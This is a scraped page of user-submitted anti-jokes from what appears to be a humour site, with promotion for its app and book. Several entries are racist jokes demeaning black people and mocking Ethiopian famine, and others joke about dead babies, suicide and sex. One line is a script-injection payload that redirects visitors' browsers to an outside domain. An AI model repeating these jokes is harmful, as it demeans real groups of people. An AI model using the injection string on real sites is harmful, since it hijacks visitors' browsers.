Why are black people like jelly beans? Nobody likes the black ones

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What's white and sticky.... Jizz

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What did the cancer patient say before they died? I am in so much pain. I love you all

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What did the homeless man's sign say? It didn't say anything. You had to read it.

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There once was an old man. He had worked hard his whole life to make sure his children got everything they needed, and that they were always happy. He had a beautiul life and a great big house with a marvelous view of the ocean. In time his kids moved away, and his wife died. The old man was left all by himself in the great big house, and sometimes the emptiness of the house reminded him of the emptiness of his own heart. He very seldom cried though, and kept all of his emotions inside. One day it all became to much for him and he took his own life in the silence of his great big empty house. I was that ocean.

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Knock, knock. You do realize you can actually physically knock on the door instead of just imitating the sound effect with your mouth, right? It's actually way more effective that way. Just saying, since it's raining outside and you're cold and want to come in...

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Lets just say I work for some important people, not the feds that is for sure, ill tell you when we meet, not here. As for my condition, lets just say that I am profusely bleeding noseblood now and that is because I forgot to take my medication, and if I had no medicaions at all, I would have begun bleeding out of me ears end eye sockets, and ironically id die from a lot of other shit before bleeding to death, so thats not even the case. Its nothing common, but I bet people could find out about it pretty fast on wikipedia, and as much as I like throwing shit on random people here, I dont like bothering anyone with my problems, in this case, it came kinda sudden and unexpected, and I dont mind sharing my deepest aspects including this with my best friends, of which one of them you clearly are love.

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Why did the bird fall out of the sky, It hit one of the random green pipes.

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Whats the Difference between a corvette and a pile of dead babies? A Pile of dead babies is basically useless

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What is brown and lives in a toilet? A black homeless man

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"'>document.location.href="http://cramik.org"

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Well, I'm naked so I'm going to go.

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A man offered a little boy a ride home. He drove the boy home where his father preceeded to beat him senseless.

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How do you make a plumber sad? You kill his family.

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Why do people make jokes about cancer? Oviously to get thier ass kicked!!! -BY:KOLBY HOOKS

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What did the robot say to the centipede? Stop being a centipede. -It's funny because the robot doesn't have any arms.

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Me: Have you ever eaten Ethiopian food? You: No. Me: Neither have they.

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why did the man break his arm? he didn't, someone else broke it for him

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1234567890? ABCDEFGHIJKLMNOPQRSTUVWXYZ

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Why did the chicken cross the road? Because chickens have 2 legs

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Knock knock. ... ... *after waiting 30 seconds or so to no answer, the knocker concludes there is no one home and decides to go home to take his son to soccer practice and work on his taxes, and maybe call his mother to see how her foot surgery went* Who's there? Oh.. This is awkward, I forgot why I was here in the first place. I have to go. Bye.

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whats worse then finding a worm in your apple? finding two worms in your apple

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A blonde runs into her house. She died in a tragic backdraft fire. Always check to see if the doorknob is warm.

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So the question i got asked in order to post this was: Which one is easiest? and I thought to myself, the slutty one, obviously!!

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

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